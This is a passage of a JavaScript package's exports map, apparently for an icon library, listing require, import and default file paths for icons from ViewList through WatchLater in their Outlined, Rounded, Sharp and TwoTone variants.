\"./ViewList.mjs\",\n      \"default\": \"./ViewList.mjs\"\n    },\n    \"./ViewListOutlined\": {\n      \"require\": \"./ViewListOutlined.js\",\n      \"import\": \"./ViewListOutlined.mjs\",\n      \"default\": \"./ViewListOutlined.mjs\"\n    },\n    \"./ViewListRounded\": {\n      \"require\": \"./ViewListRounded.js\",\n      \"import\": \"./ViewListRounded.mjs\",\n      \"default\": \"./ViewListRounded.mjs\"\n    },\n    \"./ViewListSharp\": {\n      \"require\": \"./ViewListSharp.js\",\n      \"import\": \"./ViewListSharp.mjs\",\n      \"default\": \"./ViewListSharp.mjs\"\n    },\n    \"./ViewListTwoTone\": {\n      \"require\": \"./ViewListTwoTone.js\",\n      \"import\": \"./ViewListTwoTone.mjs\",\n      \"default\": \"./ViewListTwoTone.mjs\"\n    },\n    \"./ViewModule\": {\n      \"require\": \"./ViewModule.js\",\n      \"import\": \"./ViewModule.mjs\",\n      \"default\": \"./ViewModule.mjs\"\n    },\n    \"./ViewModuleOutlined\": {\n      \"require\": \"./ViewModuleOutlined.js\",\n      \"import\": \"./ViewModuleOutlined.mjs\",\n      \"default\": \"./ViewModuleOutlined.mjs\"\n    },\n    \"./ViewModuleRounded\": {\n      \"require\": \"./ViewModuleRounded.js\",\n      \"import\": \"./ViewModuleRounded.mjs\",\n      \"default\": \"./ViewModuleRounded.mjs\"\n    },\n    \"./ViewModuleSharp\": {\n      \"require\": \"./ViewModuleSharp.js\",\n      \"import\": \"./ViewModuleSharp.mjs\",\n      \"default\": \"./ViewModuleSharp.mjs\"\n    },\n    \"./ViewModuleTwoTone\": {\n      \"import\": \"./ViewModuleTwoTone.mjs\",\n      \"require\": \"./ViewModuleTwoTone.js\",\n      \"default\": \"./ViewModuleTwoTone.mjs\"\n    },\n    \"./ViewQuilt\": {\n      \"import\": \"./ViewQuilt.mjs\",\n      \"require\": \"./ViewQuilt.js\",\n      \"default\": \"./ViewQuilt.mjs\"\n    },\n    \"./ViewQuiltOutlined\": {\n      \"import\": \"./ViewQuiltOutlined.mjs\",\n      \"require\": \"./ViewQuiltOutlined.js\",\n      \"default\": \"./ViewQuiltOutlined.mjs\"\n    },\n    \"./ViewQuiltRounded\": {\n      \"import\": \"./ViewQuiltRounded.mjs\",\n      \"require\": \"./ViewQuiltRounded.js\",\n      \"default\": \"./ViewQuiltRounded.mjs\"\n    },\n    \"./ViewQuiltSharp\": {\n      \"import\": \"./ViewQuiltSharp.mjs\",\n      \"require\": \"./ViewQuiltSharp.js\",\n      \"default\": \"./ViewQuiltSharp.mjs\"\n    },\n    \"./ViewQuiltTwoTone\": {\n      \"import\": \"./ViewQuiltTwoTone.mjs\",\n      \"require\": \"./ViewQuiltTwoTone.js\",\n      \"default\": \"./ViewQuiltTwoTone.mjs\"\n    },\n    \"./ViewSidebar\": {\n      \"import\": \"./ViewSidebar.mjs\",\n      \"require\": \"./ViewSidebar.js\",\n      \"default\": \"./ViewSidebar.mjs\"\n    },\n    \"./ViewSidebarOutlined\": {\n      \"import\": \"./ViewSidebarOutlined.mjs\",\n      \"require\": \"./ViewSidebarOutlined.js\",\n      \"default\": \"./ViewSidebarOutlined.mjs\"\n    },\n    \"./ViewSidebarRounded\": {\n      \"import\": \"./ViewSidebarRounded.mjs\",\n      \"require\": \"./ViewSidebarRounded.js\",\n      \"default\": \"./ViewSidebarRounded.mjs\"\n    },\n    \"./ViewSidebarSharp\": {\n      \"import\": \"./ViewSidebarSharp.mjs\",\n      \"require\": \"./ViewSidebarSharp.js\",\n      \"default\": \"./ViewSidebarSharp.mjs\"\n    },\n    \"./ViewSidebarTwoTone\": {\n      \"import\": \"./ViewSidebarTwoTone.mjs\",\n      \"require\": \"./ViewSidebarTwoTone.js\",\n      \"default\": \"./ViewSidebarTwoTone.mjs\"\n    },\n    \"./ViewStream\": {\n      \"import\": \"./ViewStream.mjs\",\n      \"require\": \"./ViewStream.js\",\n      \"default\": \"./ViewStream.mjs\"\n    },\n    \"./ViewStreamOutlined\": {\n      \"import\": \"./ViewStreamOutlined.mjs\",\n      \"require\": \"./ViewStreamOutlined.js\",\n      \"default\": \"./ViewStreamOutlined.mjs\"\n    },\n    \"./ViewStreamRounded\": {\n      \"import\": \"./ViewStreamRounded.mjs\",\n      \"require\": \"./ViewStreamRounded.js\",\n      \"default\": \"./ViewStreamRounded.mjs\"\n    },\n    \"./ViewStreamSharp\": {\n      \"import\": \"./ViewStreamSharp.mjs\",\n      \"require\": \"./ViewStreamSharp.js\",\n      \"default\": \"./ViewStreamSharp.mjs\"\n    },\n    \"./ViewStreamTwoTone\": {\n      \"import\": \"./ViewStreamTwoTone.mjs\",\n      \"require\": \"./ViewStreamTwoTone.js\",\n      \"default\": \"./ViewStreamTwoTone.mjs\"\n    },\n    \"./ViewTimeline\": {\n      \"import\": \"./ViewTimeline.mjs\",\n      \"require\": \"./ViewTimeline.js\",\n      \"default\": \"./ViewTimeline.mjs\"\n    },\n    \"./ViewTimelineOutlined\": {\n      \"import\": \"./ViewTimelineOutlined.mjs\",\n      \"require\": \"./ViewTimelineOutlined.js\",\n      \"default\": \"./ViewTimelineOutlined.mjs\"\n    },\n    \"./ViewTimelineRounded\": {\n      \"import\": \"./ViewTimelineRounded.mjs\",\n      \"require\": \"./ViewTimelineRounded.js\",\n      \"default\": \"./ViewTimelineRounded.mjs\"\n    },\n    \"./ViewTimelineSharp\": {\n      \"import\": \"./ViewTimelineSharp.mjs\",\n      \"require\": \"./ViewTimelineSharp.js\",\n      \"default\": \"./ViewTimelineSharp.mjs\"\n    },\n    \"./ViewTimelineTwoTone\": {\n      \"import\": \"./ViewTimelineTwoTone.mjs\",\n      \"require\": \"./ViewTimelineTwoTone.js\",\n      \"default\": \"./ViewTimelineTwoTone.mjs\"\n    },\n    \"./ViewWeek\": {\n      \"require\": \"./ViewWeek.js\",\n      \"import\": \"./ViewWeek.mjs\",\n      \"default\": \"./ViewWeek.mjs\"\n    },\n    \"./ViewWeekOutlined\": {\n      \"require\": \"./ViewWeekOutlined.js\",\n      \"import\": \"./ViewWeekOutlined.mjs\",\n      \"default\": \"./ViewWeekOutlined.mjs\"\n    },\n    \"./ViewWeekRounded\": {\n      \"require\": \"./ViewWeekRounded.js\",\n      \"import\": \"./ViewWeekRounded.mjs\",\n      \"default\": \"./ViewWeekRounded.mjs\"\n    },\n    \"./ViewWeekSharp\": {\n      \"require\": \"./ViewWeekSharp.js\",\n      \"import\": \"./ViewWeekSharp.mjs\",\n      \"default\": \"./ViewWeekSharp.mjs\"\n    },\n    \"./ViewWeekTwoTone\": {\n      \"require\": \"./ViewWeekTwoTone.js\",\n      \"import\": \"./ViewWeekTwoTone.mjs\",\n      \"default\": \"./ViewWeekTwoTone.mjs\"\n    },\n    \"./Vignette\": {\n      \"require\": \"./Vignette.js\",\n      \"import\": \"./Vignette.mjs\",\n      \"default\": \"./Vignette.mjs\"\n    },\n    \"./VignetteOutlined\": {\n      \"require\": \"./VignetteOutlined.js\",\n      \"import\": \"./VignetteOutlined.mjs\",\n      \"default\": \"./VignetteOutlined.mjs\"\n    },\n    \"./VignetteRounded\": {\n      \"require\": \"./VignetteRounded.js\",\n      \"import\": \"./VignetteRounded.mjs\",\n      \"default\": \"./VignetteRounded.mjs\"\n    },\n    \"./VignetteSharp\": {\n      \"require\": \"./VignetteSharp.js\",\n      \"import\": \"./VignetteSharp.mjs\",\n      \"default\": \"./VignetteSharp.mjs\"\n    },\n    \"./VignetteTwoTone\": {\n      \"require\": \"./VignetteTwoTone.js\",\n      \"import\": \"./VignetteTwoTone.mjs\",\n      \"default\": \"./VignetteTwoTone.mjs\"\n    },\n    \"./Villa\": {\n      \"require\": \"./Villa.js\",\n      \"import\": \"./Villa.mjs\",\n      \"default\": \"./Villa.mjs\"\n    },\n    \"./VillaOutlined\": {\n      \"require\": \"./VillaOutlined.js\",\n      \"import\": \"./VillaOutlined.mjs\",\n      \"default\": \"./VillaOutlined.mjs\"\n    },\n    \"./VillaRounded\": {\n      \"require\": \"./VillaRounded.js\",\n      \"import\": \"./VillaRounded.mjs\",\n      \"default\": \"./VillaRounded.mjs\"\n    },\n    \"./VillaSharp\": {\n      \"require\": \"./VillaSharp.js\",\n      \"import\": \"./VillaSharp.mjs\",\n      \"default\": \"./VillaSharp.mjs\"\n    },\n    \"./VillaTwoTone\": {\n      \"require\": \"./VillaTwoTone.js\",\n      \"import\": \"./VillaTwoTone.mjs\",\n      \"default\": \"./VillaTwoTone.mjs\"\n    },\n    \"./Visibility\": {\n      \"require\": \"./Visibility.js\",\n      \"import\": \"./Visibility.mjs\",\n      \"default\": \"./Visibility.mjs\"\n    },\n    \"./VisibilityOff\": {\n      \"require\": \"./VisibilityOff.js\",\n      \"import\": \"./VisibilityOff.mjs\",\n      \"default\": \"./VisibilityOff.mjs\"\n    },\n    \"./VisibilityOffOutlined\": {\n      \"require\": \"./VisibilityOffOutlined.js\",\n      \"import\": \"./VisibilityOffOutlined.mjs\",\n      \"default\": \"./VisibilityOffOutlined.mjs\"\n    },\n    \"./VisibilityOffRounded\": {\n      \"require\": \"./VisibilityOffRounded.js\",\n      \"import\": \"./VisibilityOffRounded.mjs\",\n      \"default\": \"./VisibilityOffRounded.mjs\"\n    },\n    \"./VisibilityOffSharp\": {\n      \"require\": \"./VisibilityOffSharp.js\",\n      \"import\": \"./VisibilityOffSharp.mjs\",\n      \"default\": \"./VisibilityOffSharp.mjs\"\n    },\n    \"./VisibilityOffTwoTone\": {\n      \"require\": \"./VisibilityOffTwoTone.js\",\n      \"import\": \"./VisibilityOffTwoTone.mjs\",\n      \"default\": \"./VisibilityOffTwoTone.mjs\"\n    },\n    \"./VisibilityOutlined\": {\n      \"require\": \"./VisibilityOutlined.js\",\n      \"import\": \"./VisibilityOutlined.mjs\",\n      \"default\": \"./VisibilityOutlined.mjs\"\n    },\n    \"./VisibilityRounded\": {\n      \"import\": \"./VisibilityRounded.mjs\",\n      \"require\": \"./VisibilityRounded.js\",\n      \"default\": \"./VisibilityRounded.mjs\"\n    },\n    \"./VisibilitySharp\": {\n      \"import\": \"./VisibilitySharp.mjs\",\n      \"require\": \"./VisibilitySharp.js\",\n      \"default\": \"./VisibilitySharp.mjs\"\n    },\n    \"./VisibilityTwoTone\": {\n      \"import\": \"./VisibilityTwoTone.mjs\",\n      \"require\": \"./VisibilityTwoTone.js\",\n      \"default\": \"./VisibilityTwoTone.mjs\"\n    },\n    \"./VoiceChat\": {\n      \"import\": \"./VoiceChat.mjs\",\n      \"require\": \"./VoiceChat.js\",\n      \"default\": \"./VoiceChat.mjs\"\n    },\n    \"./VoiceChatOutlined\": {\n      \"import\": \"./VoiceChatOutlined.mjs\",\n      \"require\": \"./VoiceChatOutlined.js\",\n      \"default\": \"./VoiceChatOutlined.mjs\"\n    },\n    \"./VoiceChatRounded\": {\n      \"import\": \"./VoiceChatRounded.mjs\",\n      \"require\": \"./VoiceChatRounded.js\",\n      \"default\": \"./VoiceChatRounded.mjs\"\n    },\n    \"./VoiceChatSharp\": {\n      \"import\": \"./VoiceChatSharp.mjs\",\n      \"require\": \"./VoiceChatSharp.js\",\n      \"default\": \"./VoiceChatSharp.mjs\"\n    },\n    \"./VoiceChatTwoTone\": {\n      \"import\": \"./VoiceChatTwoTone.mjs\",\n      \"require\": \"./VoiceChatTwoTone.js\",\n      \"default\": \"./VoiceChatTwoTone.mjs\"\n    },\n    \"./VoiceOverOff\": {\n      \"import\": \"./VoiceOverOff.mjs\",\n      \"require\": \"./VoiceOverOff.js\",\n      \"default\": \"./VoiceOverOff.mjs\"\n    },\n    \"./VoiceOverOffOutlined\": {\n      \"import\": \"./VoiceOverOffOutlined.mjs\",\n      \"require\": \"./VoiceOverOffOutlined.js\",\n      \"default\": \"./VoiceOverOffOutlined.mjs\"\n    },\n    \"./VoiceOverOffRounded\": {\n      \"import\": \"./VoiceOverOffRounded.mjs\",\n      \"require\": \"./VoiceOverOffRounded.js\",\n      \"default\": \"./VoiceOverOffRounded.mjs\"\n    },\n    \"./VoiceOverOffSharp\": {\n      \"import\": \"./VoiceOverOffSharp.mjs\",\n      \"require\": \"./VoiceOverOffSharp.js\",\n      \"default\": \"./VoiceOverOffSharp.mjs\"\n    },\n    \"./VoiceOverOffTwoTone\": {\n      \"import\": \"./VoiceOverOffTwoTone.mjs\",\n      \"require\": \"./VoiceOverOffTwoTone.js\",\n      \"default\": \"./VoiceOverOffTwoTone.mjs\"\n    },\n    \"./Voicemail\": {\n      \"import\": \"./Voicemail.mjs\",\n      \"require\": \"./Voicemail.js\",\n      \"default\": \"./Voicemail.mjs\"\n    },\n    \"./VoicemailOutlined\": {\n      \"import\": \"./VoicemailOutlined.mjs\",\n      \"require\": \"./VoicemailOutlined.js\",\n      \"default\": \"./VoicemailOutlined.mjs\"\n    },\n    \"./VoicemailRounded\": {\n      \"require\": \"./VoicemailRounded.js\",\n      \"import\": \"./VoicemailRounded.mjs\",\n      \"default\": \"./VoicemailRounded.mjs\"\n    },\n    \"./VoicemailSharp\": {\n      \"require\": \"./VoicemailSharp.js\",\n      \"import\": \"./VoicemailSharp.mjs\",\n      \"default\": \"./VoicemailSharp.mjs\"\n    },\n    \"./VoicemailTwoTone\": {\n      \"require\": \"./VoicemailTwoTone.js\",\n      \"import\": \"./VoicemailTwoTone.mjs\",\n      \"default\": \"./VoicemailTwoTone.mjs\"\n    },\n    \"./Volcano\": {\n      \"require\": \"./Volcano.js\",\n      \"import\": \"./Volcano.mjs\",\n      \"default\": \"./Volcano.mjs\"\n    },\n    \"./VolcanoOutlined\": {\n      \"require\": \"./VolcanoOutlined.js\",\n      \"import\": \"./VolcanoOutlined.mjs\",\n      \"default\": \"./VolcanoOutlined.mjs\"\n    },\n    \"./VolcanoRounded\": {\n      \"require\": \"./VolcanoRounded.js\",\n      \"import\": \"./VolcanoRounded.mjs\",\n      \"default\": \"./VolcanoRounded.mjs\"\n    },\n    \"./VolcanoSharp\": {\n      \"require\": \"./VolcanoSharp.js\",\n      \"import\": \"./VolcanoSharp.mjs\",\n      \"default\": \"./VolcanoSharp.mjs\"\n    },\n    \"./VolcanoTwoTone\": {\n      \"require\": \"./VolcanoTwoTone.js\",\n      \"import\": \"./VolcanoTwoTone.mjs\",\n      \"default\": \"./VolcanoTwoTone.mjs\"\n    },\n    \"./VolumeDown\": {\n      \"require\": \"./VolumeDown.js\",\n      \"import\": \"./VolumeDown.mjs\",\n      \"default\": \"./VolumeDown.mjs\"\n    },\n    \"./VolumeDownAlt\": {\n      \"require\": \"./VolumeDownAlt.js\",\n      \"import\": \"./VolumeDownAlt.mjs\",\n      \"default\": \"./VolumeDownAlt.mjs\"\n    },\n    \"./VolumeDownOutlined\": {\n      \"require\": \"./VolumeDownOutlined.js\",\n      \"import\": \"./VolumeDownOutlined.mjs\",\n      \"default\": \"./VolumeDownOutlined.mjs\"\n    },\n    \"./VolumeDownRounded\": {\n      \"require\": \"./VolumeDownRounded.js\",\n      \"import\": \"./VolumeDownRounded.mjs\",\n      \"default\": \"./VolumeDownRounded.mjs\"\n    },\n    \"./VolumeDownSharp\": {\n      \"require\": \"./VolumeDownSharp.js\",\n      \"import\": \"./VolumeDownSharp.mjs\",\n      \"default\": \"./VolumeDownSharp.mjs\"\n    },\n    \"./VolumeDownTwoTone\": {\n      \"require\": \"./VolumeDownTwoTone.js\",\n      \"import\": \"./VolumeDownTwoTone.mjs\",\n      \"default\": \"./VolumeDownTwoTone.mjs\"\n    },\n    \"./VolumeMute\": {\n      \"require\": \"./VolumeMute.js\",\n      \"import\": \"./VolumeMute.mjs\",\n      \"default\": \"./VolumeMute.mjs\"\n    },\n    \"./VolumeMuteOutlined\": {\n      \"require\": \"./VolumeMuteOutlined.js\",\n      \"import\": \"./VolumeMuteOutlined.mjs\",\n      \"default\": \"./VolumeMuteOutlined.mjs\"\n    },\n    \"./VolumeMuteRounded\": {\n      \"import\": \"./VolumeMuteRounded.mjs\",\n      \"require\": \"./VolumeMuteRounded.js\",\n      \"default\": \"./VolumeMuteRounded.mjs\"\n    },\n    \"./VolumeMuteSharp\": {\n      \"import\": \"./VolumeMuteSharp.mjs\",\n      \"require\": \"./VolumeMuteSharp.js\",\n      \"default\": \"./VolumeMuteSharp.mjs\"\n    },\n    \"./VolumeMuteTwoTone\": {\n      \"require\": \"./VolumeMuteTwoTone.js\",\n      \"import\": \"./VolumeMuteTwoTone.mjs\",\n      \"default\": \"./VolumeMuteTwoTone.mjs\"\n    },\n    \"./VolumeOff\": {\n      \"require\": \"./VolumeOff.js\",\n      \"import\": \"./VolumeOff.mjs\",\n      \"default\": \"./VolumeOff.mjs\"\n    },\n    \"./VolumeOffOutlined\": {\n      \"require\": \"./VolumeOffOutlined.js\",\n      \"import\": \"./VolumeOffOutlined.mjs\",\n      \"default\": \"./VolumeOffOutlined.mjs\"\n    },\n    \"./VolumeOffRounded\": {\n      \"import\": \"./VolumeOffRounded.mjs\",\n      \"require\": \"./VolumeOffRounded.js\",\n      \"default\": \"./VolumeOffRounded.mjs\"\n    },\n    \"./VolumeOffSharp\": {\n      \"import\": \"./VolumeOffSharp.mjs\",\n      \"require\": \"./VolumeOffSharp.js\",\n      \"default\": \"./VolumeOffSharp.mjs\"\n    },\n    \"./VolumeOffTwoTone\": {\n      \"import\": \"./VolumeOffTwoTone.mjs\",\n      \"require\": \"./VolumeOffTwoTone.js\",\n      \"default\": \"./VolumeOffTwoTone.mjs\"\n    },\n    \"./VolumeUp\": {\n      \"require\": \"./VolumeUp.js\",\n      \"import\": \"./VolumeUp.mjs\",\n      \"default\": \"./VolumeUp.mjs\"\n    },\n    \"./VolumeUpOutlined\": {\n      \"require\": \"./VolumeUpOutlined.js\",\n      \"import\": \"./VolumeUpOutlined.mjs\",\n      \"default\": \"./VolumeUpOutlined.mjs\"\n    },\n    \"./VolumeUpRounded\": {\n      \"require\": \"./VolumeUpRounded.js\",\n      \"import\": \"./VolumeUpRounded.mjs\",\n      \"default\": \"./VolumeUpRounded.mjs\"\n    },\n    \"./VolumeUpSharp\": {\n      \"require\": \"./VolumeUpSharp.js\",\n      \"import\": \"./VolumeUpSharp.mjs\",\n      \"default\": \"./VolumeUpSharp.mjs\"\n    },\n    \"./VolumeUpTwoTone\": {\n      \"require\": \"./VolumeUpTwoTone.js\",\n      \"import\": \"./VolumeUpTwoTone.mjs\",\n      \"default\": \"./VolumeUpTwoTone.mjs\"\n    },\n    \"./VolunteerActivism\": {\n      \"require\": \"./VolunteerActivism.js\",\n      \"import\": \"./VolunteerActivism.mjs\",\n      \"default\": \"./VolunteerActivism.mjs\"\n    },\n    \"./VolunteerActivismOutlined\": {\n      \"require\": \"./VolunteerActivismOutlined.js\",\n      \"import\": \"./VolunteerActivismOutlined.mjs\",\n      \"default\": \"./VolunteerActivismOutlined.mjs\"\n    },\n    \"./VolunteerActivismRounded\": {\n      \"require\": \"./VolunteerActivismRounded.js\",\n      \"import\": \"./VolunteerActivismRounded.mjs\",\n      \"default\": \"./VolunteerActivismRounded.mjs\"\n    },\n    \"./VolunteerActivismSharp\": {\n      \"require\": \"./VolunteerActivismSharp.js\",\n      \"import\": \"./VolunteerActivismSharp.mjs\",\n      \"default\": \"./VolunteerActivismSharp.mjs\"\n    },\n    \"./VolunteerActivismTwoTone\": {\n      \"require\": \"./VolunteerActivismTwoTone.js\",\n      \"import\": \"./VolunteerActivismTwoTone.mjs\",\n      \"default\": \"./VolunteerActivismTwoTone.mjs\"\n    },\n    \"./VpnKey\": {\n      \"require\": \"./VpnKey.js\",\n      \"import\": \"./VpnKey.mjs\",\n      \"default\": \"./VpnKey.mjs\"\n    },\n    \"./VpnKeyOff\": {\n      \"require\": \"./VpnKeyOff.js\",\n      \"import\": \"./VpnKeyOff.mjs\",\n      \"default\": \"./VpnKeyOff.mjs\"\n    },\n    \"./VpnKeyOffOutlined\": {\n      \"require\": \"./VpnKeyOffOutlined.js\",\n      \"import\": \"./VpnKeyOffOutlined.mjs\",\n      \"default\": \"./VpnKeyOffOutlined.mjs\"\n    },\n    \"./VpnKeyOffRounded\": {\n      \"require\": \"./VpnKeyOffRounded.js\",\n      \"import\": \"./VpnKeyOffRounded.mjs\",\n      \"default\": \"./VpnKeyOffRounded.mjs\"\n    },\n    \"./VpnKeyOffSharp\": {\n      \"require\": \"./VpnKeyOffSharp.js\",\n      \"import\": \"./VpnKeyOffSharp.mjs\",\n      \"default\": \"./VpnKeyOffSharp.mjs\"\n    },\n    \"./VpnKeyOffTwoTone\": {\n      \"require\": \"./VpnKeyOffTwoTone.js\",\n      \"import\": \"./VpnKeyOffTwoTone.mjs\",\n      \"default\": \"./VpnKeyOffTwoTone.mjs\"\n    },\n    \"./VpnKeyOutlined\": {\n      \"require\": \"./VpnKeyOutlined.js\",\n      \"import\": \"./VpnKeyOutlined.mjs\",\n      \"default\": \"./VpnKeyOutlined.mjs\"\n    },\n    \"./VpnKeyRounded\": {\n      \"require\": \"./VpnKeyRounded.js\",\n      \"import\": \"./VpnKeyRounded.mjs\",\n      \"default\": \"./VpnKeyRounded.mjs\"\n    },\n    \"./VpnKeySharp\": {\n      \"require\": \"./VpnKeySharp.js\",\n      \"import\": \"./VpnKeySharp.mjs\",\n      \"default\": \"./VpnKeySharp.mjs\"\n    },\n    \"./VpnKeyTwoTone\": {\n      \"require\": \"./VpnKeyTwoTone.js\",\n      \"import\": \"./VpnKeyTwoTone.mjs\",\n      \"default\": \"./VpnKeyTwoTone.mjs\"\n    },\n    \"./VpnLock\": {\n      \"require\": \"./VpnLock.js\",\n      \"import\": \"./VpnLock.mjs\",\n      \"default\": \"./VpnLock.mjs\"\n    },\n    \"./VpnLockOutlined\": {\n      \"import\": \"./VpnLockOutlined.mjs\",\n      \"require\": \"./VpnLockOutlined.js\",\n      \"default\": \"./VpnLockOutlined.mjs\"\n    },\n    \"./VpnLockRounded\": {\n      \"import\": \"./VpnLockRounded.mjs\",\n      \"require\": \"./VpnLockRounded.js\",\n      \"default\": \"./VpnLockRounded.mjs\"\n    },\n    \"./VpnLockSharp\": {\n      \"require\": \"./VpnLockSharp.js\",\n      \"import\": \"./VpnLockSharp.mjs\",\n      \"default\": \"./VpnLockSharp.mjs\"\n    },\n    \"./VpnLockTwoTone\": {\n      \"require\": \"./VpnLockTwoTone.js\",\n      \"import\": \"./VpnLockTwoTone.mjs\",\n      \"default\": \"./VpnLockTwoTone.mjs\"\n    },\n    \"./Vrpano\": {\n      \"require\": \"./Vrpano.js\",\n      \"import\": \"./Vrpano.mjs\",\n      \"default\": \"./Vrpano.mjs\"\n    },\n    \"./VrpanoOutlined\": {\n      \"require\": \"./VrpanoOutlined.js\",\n      \"import\": \"./VrpanoOutlined.mjs\",\n      \"default\": \"./VrpanoOutlined.mjs\"\n    },\n    \"./VrpanoRounded\": {\n      \"require\": \"./VrpanoRounded.js\",\n      \"import\": \"./VrpanoRounded.mjs\",\n      \"default\": \"./VrpanoRounded.mjs\"\n    },\n    \"./VrpanoSharp\": {\n      \"require\": \"./VrpanoSharp.js\",\n      \"import\": \"./VrpanoSharp.mjs\",\n      \"default\": \"./VrpanoSharp.mjs\"\n    },\n    \"./VrpanoTwoTone\": {\n      \"require\": \"./VrpanoTwoTone.js\",\n      \"import\": \"./VrpanoTwoTone.mjs\",\n      \"default\": \"./VrpanoTwoTone.mjs\"\n    },\n    \"./Wallet\": {\n      \"require\": \"./Wallet.js\",\n      \"import\": \"./Wallet.mjs\",\n      \"default\": \"./Wallet.mjs\"\n    },\n    \"./WalletOutlined\": {\n      \"require\": \"./WalletOutlined.js\",\n      \"import\": \"./WalletOutlined.mjs\",\n      \"default\": \"./WalletOutlined.mjs\"\n    },\n    \"./WalletRounded\": {\n      \"require\": \"./WalletRounded.js\",\n      \"import\": \"./WalletRounded.mjs\",\n      \"default\": \"./WalletRounded.mjs\"\n    },\n    \"./WalletSharp\": {\n      \"require\": \"./WalletSharp.js\",\n      \"import\": \"./WalletSharp.mjs\",\n      \"default\": \"./WalletSharp.mjs\"\n    },\n    \"./WalletTwoTone\": {\n      \"require\": \"./WalletTwoTone.js\",\n      \"import\": \"./WalletTwoTone.mjs\",\n      \"default\": \"./WalletTwoTone.mjs\"\n    },\n    \"./Wallpaper\": {\n      \"require\": \"./Wallpaper.js\",\n      \"import\": \"./Wallpaper.mjs\",\n      \"default\": \"./Wallpaper.mjs\"\n    },\n    \"./WallpaperOutlined\": {\n      \"require\": \"./WallpaperOutlined.js\",\n      \"import\": \"./WallpaperOutlined.mjs\",\n      \"default\": \"./WallpaperOutlined.mjs\"\n    },\n    \"./WallpaperRounded\": {\n      \"require\": \"./WallpaperRounded.js\",\n      \"import\": \"./WallpaperRounded.mjs\",\n      \"default\": \"./WallpaperRounded.mjs\"\n    },\n    \"./WallpaperSharp\": {\n      \"require\": \"./WallpaperSharp.js\",\n      \"import\": \"./WallpaperSharp.mjs\",\n      \"default\": \"./WallpaperSharp.mjs\"\n    },\n    \"./WallpaperTwoTone\": {\n      \"require\": \"./WallpaperTwoTone.js\",\n      \"import\": \"./WallpaperTwoTone.mjs\",\n      \"default\": \"./WallpaperTwoTone.mjs\"\n    },\n    \"./Warehouse\": {\n      \"require\": \"./Warehouse.js\",\n      \"import\": \"./Warehouse.mjs\",\n      \"default\": \"./Warehouse.mjs\"\n    },\n    \"./WarehouseOutlined\": {\n      \"require\": \"./WarehouseOutlined.js\",\n      \"import\": \"./WarehouseOutlined.mjs\",\n      \"default\": \"./WarehouseOutlined.mjs\"\n    },\n    \"./WarehouseRounded\": {\n      \"require\": \"./WarehouseRounded.js\",\n      \"import\": \"./WarehouseRounded.mjs\",\n      \"default\": \"./WarehouseRounded.mjs\"\n    },\n    \"./WarehouseSharp\": {\n      \"require\": \"./WarehouseSharp.js\",\n      \"import\": \"./WarehouseSharp.mjs\",\n      \"default\": \"./WarehouseSharp.mjs\"\n    },\n    \"./WarehouseTwoTone\": {\n      \"require\": \"./WarehouseTwoTone.js\",\n      \"import\": \"./WarehouseTwoTone.mjs\",\n      \"default\": \"./WarehouseTwoTone.mjs\"\n    },\n    \"./Warning\": {\n      \"require\": \"./Warning.js\",\n      \"import\": \"./Warning.mjs\",\n      \"default\": \"./Warning.mjs\"\n    },\n    \"./WarningAmber\": {\n      \"require\": \"./WarningAmber.js\",\n      \"import\": \"./WarningAmber.mjs\",\n      \"default\": \"./WarningAmber.mjs\"\n    },\n    \"./WarningAmberOutlined\": {\n      \"require\": \"./WarningAmberOutlined.js\",\n      \"import\": \"./WarningAmberOutlined.mjs\",\n      \"default\": \"./WarningAmberOutlined.mjs\"\n    },\n    \"./WarningAmberRounded\": {\n      \"require\": \"./WarningAmberRounded.js\",\n      \"import\": \"./WarningAmberRounded.mjs\",\n      \"default\": \"./WarningAmberRounded.mjs\"\n    },\n    \"./WarningAmberSharp\": {\n      \"require\": \"./WarningAmberSharp.js\",\n      \"import\": \"./WarningAmberSharp.mjs\",\n      \"default\": \"./WarningAmberSharp.mjs\"\n    },\n    \"./WarningAmberTwoTone\": {\n      \"require\": \"./WarningAmberTwoTone.js\",\n      \"import\": \"./WarningAmberTwoTone.mjs\",\n      \"default\": \"./WarningAmberTwoTone.mjs\"\n    },\n    \"./WarningOutlined\": {\n      \"require\": \"./WarningOutlined.js\",\n      \"import\": \"./WarningOutlined.mjs\",\n      \"default\": \"./WarningOutlined.mjs\"\n    },\n    \"./WarningRounded\": {\n      \"require\": \"./WarningRounded.js\",\n      \"import\": \"./WarningRounded.mjs\",\n      \"default\": \"./WarningRounded.mjs\"\n    },\n    \"./WarningSharp\": {\n      \"require\": \"./WarningSharp.js\",\n      \"import\": \"./WarningSharp.mjs\",\n      \"default\": \"./WarningSharp.mjs\"\n    },\n    \"./WarningTwoTone\": {\n      \"require\": \"./WarningTwoTone.js\",\n      \"import\": \"./WarningTwoTone.mjs\",\n      \"default\": \"./WarningTwoTone.mjs\"\n    },\n    \"./Wash\": {\n      \"import\": \"./Wash.mjs\",\n      \"require\": \"./Wash.js\",\n      \"default\": \"./Wash.mjs\"\n    },\n    \"./WashOutlined\": {\n      \"import\": \"./WashOutlined.mjs\",\n      \"require\": \"./WashOutlined.js\",\n      \"default\": \"./WashOutlined.mjs\"\n    },\n    \"./WashRounded\": {\n      \"import\": \"./WashRounded.mjs\",\n      \"require\": \"./WashRounded.js\",\n      \"default\": \"./WashRounded.mjs\"\n    },\n    \"./WashSharp\": {\n      \"import\": \"./WashSharp.mjs\",\n      \"require\": \"./WashSharp.js\",\n      \"default\": \"./WashSharp.mjs\"\n    },\n    \"./WashTwoTone\": {\n      \"require\": \"./WashTwoTone.js\",\n      \"import\": \"./WashTwoTone.mjs\",\n      \"default\": \"./WashTwoTone.mjs\"\n    },\n    \"./Watch\": {\n      \"require\": \"./Watch.js\",\n      \"import\": \"./Watch.mjs\",\n      \"default\": \"./Watch.mjs\"\n    },\n    \"./WatchLater\": {\n      \"require\": \"./WatchLater.js\",\n      \"import\": \"./WatchLater.mjs\",\n      \"default\": \"./WatchLater.mjs\"\n    },\n    \"./WatchLaterOutlined\": {\n      \"require\": \"./WatchLaterOutlined.js\",\n      \"import\": \"./WatchLaterOutlined.mjs\",\n      \"default\": \"./WatchLaterOutlined.mjs\"\n    },\n    \"./WatchLaterRounded\": {\n      \"require\": \"./WatchLaterRounded.js\",\n      \"import\": \"./WatchLaterRounded.mjs\",\n      \"default\": \"./WatchLaterRounded.mjs\"\n    },\n    \"./WatchLaterSharp\": {\n      \"require\": \"./WatchLaterSharp.js\",\n      \"import\": \"./WatchLaterSharp.mjs\",\n      \"default\": \"./WatchLaterSharp.mjs\"\n    },\n    \"./WatchLaterTwoTone\": {\n      \"require\": \"./WatchLaterTwoTone.js\",\n      \"import\": 